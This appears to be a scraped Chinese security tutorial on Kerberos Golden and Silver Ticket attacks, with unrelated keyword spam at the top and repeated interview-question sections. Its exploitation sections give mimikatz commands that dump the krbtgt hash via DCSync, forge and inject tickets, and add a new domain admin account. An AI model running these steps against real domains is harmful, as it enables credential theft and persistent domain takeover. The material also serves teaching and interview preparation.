网站虚拟主机内存不足能不能链接,眉山网站建设哪家好,国外的跨境电商平台有哪些,天津房产网文章目录 黄金票据与白银票据1. 背景2. 具体实现2.1 Kerberos协议认证流程 3. 黄金票据3.1 条件3.2 适用场景3.3 利用方式 4. 白银票据4.1 条件4.2 适用场景4.3 利用方式 5. 金票和银票的区别5.1 获取的权限不同5.2 认证流程不同5.3 加密方式不同 6. 经典面试题6.1 什么是黄金票… 文章目录 黄金票据与白银票据1. 背景2. 具体实现2.1 Kerberos协议认证流程 3. 黄金票据3.1 条件3.2 适用场景3.3 利用方式 4. 白银票据4.1 条件4.2 适用场景4.3 利用方式 5. 金票和银票的区别5.1 获取的权限不同5.2 认证流程不同5.3 加密方式不同 6. 经典面试题6.1 什么是黄金票据与白银票据6.2 kerberos认证流程6.1 什么是黄金票据与白银票据6.2 kerberos认证流程 黄金票据与白银票据
TGT票据授权票无法对任何服务进行访问但是TGT可以认证用户的身份。身份票据
TGT有权限去申请其他服务的票据。获取到其他服务的票据后如邮件服务的票据就可以访问邮件服务了。
说明 黄金票据TGT就是身份票据 白银票据SGT就是服务票据
为什么要先去找TGT再去找服务不能直接去找服务呢
因为服务没有办法验证用户的身份需要域来进行介入
PTH哈希传递
PTT票据传递黄金票据与白银票据
1. 背景
1、个人文件还是公司文件以及服务都存在于一台系统上所有人都要去一台机器办公效率非常低为每个人分配了电脑以后就需要考虑安全问题
2、如何让服务器正确识别每一个人假定所有数据包在传输过程中都可以被任意截取和修改
3、在每一台电脑上都存入所有人的账户密码是不现实的所以引入一个认证服务统一管理所有的用户密码
4、假设用户访问邮件服务认证服务让你提供密码以此来证明身份它把你提供的密码和数据库中的密码相比较通过认证认证服务不会提供给你任何密码不然下次你就可以不认证直接利用密码登录认证服务会给你一张票拿到票后你把此票给邮件服务以此来证明你的身份
5、需要解决的问题每次使用还没有得到票的服务前都必须给认证密码。比如使用邮件服务就要输入一次。使用文件服务又要输入一次。打印服务还要输入一次并且网络中明文传输密码。不法分子就可以监听网络流量获取密码。
6、引入”票据授权”服务(TGS)TGS将代替认证服务的发票功能以后认证服务不在提供票据如果你有TGS发放的服务票证可以使用此票对应的服务
7、如果你通过了认证服务的验证将会得到一张票据授权票(TGT)现在你想使用邮件服务然而还没有邮件服务的票所以你使用”票据授权”票去取邮件服务的票”票据授权”票可以使用此票获取你需要的其他服务票
8、解决密码明文传输当你取得票据授权票时不再发送密码而只发送你的用户名认证服务得到用户名以后用此用户名查你的密码之后认证服务会制作一个包含票据授权票(TGT)的数据包并且用你的密码加密此数据包这样即使数据包被截取没有密码无法解密也获取不到TGT
9、票据的有效期问题有效期内票据丢失会产生复用并且没法灵活销毁票据
10、引入会话密钥session key 认证服务认证服务会返回票以及一份session key都用用户的ntml加密用户利用session key生成认证器来与服务进行沟通
2. 具体实现
1、KDC 服务默认会安装在一个域的域控中
Kerberos协议对于用户的认证上在域控中有的服务名称是KDC。KDC包含了AS服务和TGS服务。 Authentication ServiceAS服务下发身份票据TGT也就是黄金票据 Ticket Granting ServiceTGS服务下发服务票据SGT也就是白银票据
2、从物理层面看AD与KDC均为域控制器(Domain Controller)
3、AD其实是一个类似于本机SAM的一个数据库全称叫account database存储所有client的白名单只有存在于白名单的client才能顺利申请到TGT
4、KDC 服务框架中包含一个 KRBTGT 账户它是在创建域时系统自动创建的一个账号你可以暂时理解为他就是一个无法登陆的账号在发放票据时会使用到它的密码 HASH 值。
KRBTGT hash可以理解为域管理员的哈希值域控才有KRBTGT hash 当 Client 想要访问 Server 上的某个服务时需要先向 AS 证明自己的身份然后通过 AS 发放的 TGT 向 Server 发起认证请求这个过程分为三块 The Authentication Service ExchangeClient 与 AS 的交互 The Ticket-Granting Service (TGS) ExchangeClient 与 TGS 的交互 The Client/Server Authentication ExchangeClient 与 Server 的交互
2.1 Kerberos协议认证流程 1、客户端发送自己的用户名给AS2、AS验证用户名是否在白名单列表如果在的话随机生成session key(as)返回如下信息TGT1(session key(as),TGS服务器信息等)--客户端NTLM哈希加密TGT2(session key(as),客户端信息等)--KRBTGT NTLM哈希加密3、用自己的NTLM哈希解密TGT1获得TGS服务器信息以及session key(as)TGT2由于是别人的哈希所以解不开生成认证因子(客户端信息当前时间)--session key(as)加密发送认证因子以及TGT2给TGS服务4、TGS服务先解密TGT2获得session key(as)紧接着利用session key(as)解密认证因子对比认证因子与TGT2的客户端信息是否一致如果一致生成session key(TGS)返回如下信息给客户端TGT3(session key(TGS),服务器信息票据到期时间)--session key(as)加密TGT4(session key(TGS),客户端信息票据到期时间)--客户端想要访问的服务器的哈希加密5、客户端解密TGT3得到session key(TGS)服务器信息生成认证因子2(服务器信息票据到期时间)--session key(TGS)加密发送认证因子2以及TGT4给服务器6、服务器先用自己的哈希解密TGT4得到session key(TGS)客户端信息票据有效期利用session key(TGS)解密认证因子对比客户端信息决定是否提供服务3. 黄金票据
黄金票据就是伪造的TGTAS返回的票据
3.1 条件
1、域名称
2、域的SID值
3、域的KRBTGT账号的HASH
4、伪造任意用户名
3.2 适用场景
由于有些原因导致你对域管权限丢失但好在你还有一个普通域用户权限管理员在域内加固时忘记重置krbtgt密码
3.3 利用方式
1、在普通域用户中使用mimikatz生成黄金票据.kirbi文件并保存
privilege::debug
lsadump::lsa /patchmimikatz log lsadump::dcsync /domain:xiusafe /user:krbtgt//导出NTLM哈希kerberos::golden /user:administrator /domain:xiusafe.com /sid:S-1-5-21-3818247987-2711466351-3365387365 /krbtgt:5eadd5a4f3a4861f8e887310db890002 /ticket:ticket.kirbi/user需要伪造的域管理员用户
/domain域名称
/sidSID值这里要是使用系统命令的话抓到是这样的SID最后面的值代表着这个账号的SID值注意是去掉最后一个-后面的值
/krbtgtkrbtgt的HASH值
/ticket生成的票据名称 2、清除票据
kerberos::purge \\清除票据
kerberos::tgt \\查看票据3、导入票据
kerberos::ptt ticket.kirbi4、创建域管
net user a !#qwe123 /add /domain
net group domain admins a /add /domain4. 白银票据
白银票据就是伪造的STTGS返回的票据
4.1 条件
1.域名
2.域sid
3.目标服务器名
4.可利用的服务
5.服务账号的NTML HASH
6.需要伪造的用户名
4.2 适用场景
知道服务器的Hash可以访问服务器的某些服务而不用于kdc进行交互
4.3 利用方式
伪造票据
kerberos::golden /domain:域名 /sid:填sid /target:完整的域控名 /service:需要访问的服务 /rc4:服务账号NTMLHASH /user:用户名 /ptt用户名可随意填写 先使用mimikatz清空票据再导入伪造的票据
5. 金票和银票的区别
5.1 获取的权限不同
金票伪造的TGT可以获取任意Kerberos的访问权限。
银票伪造的ST只能访问指定的服务如文件服务器CIFS。
5.2 认证流程不同
金票同KDC交互但不同AS交互。
银票不同KDC交互直接访问Server。
5.3 加密方式不同
金票由krbtgt NTLM Hash 加密。
银票由服务账号 NTLM Hash 加密。
6. 经典面试题
6.1 什么是黄金票据与白银票据 黄金票据就是伪造了Kerberos协议中的身份票据TGT 黄金票据可以访问该用户身份的所有服务 白银票据就是伪造了Kerberos协议通信流程中服务票据SGT 白银票据只能访问某一个服务 使用域管理员身份创建的票据就是黄金票据可以访问域内的所有服务。
6.2 kerberos认证流程 客户端先去找AS服务进行认证获取身份票据TGT。 然后拿着TGT票据寻找TGS服务获取服务票据。
经典面试题
6.1 什么是黄金票据与白银票据 黄金票据就是伪造了Kerberos协议中的身份票据TGT 黄金票据可以访问该用户身份的所有服务 白银票据就是伪造了Kerberos协议通信流程中服务票据SGT 白银票据只能访问某一个服务 使用域管理员身份创建的票据就是黄金票据可以访问域内的所有服务。
6.2 kerberos认证流程 客户端先去找AS服务进行认证获取身份票据TGT。 然后拿着TGT票据寻找TGS服务获取服务票据。 拿着服务票据访问具体的服务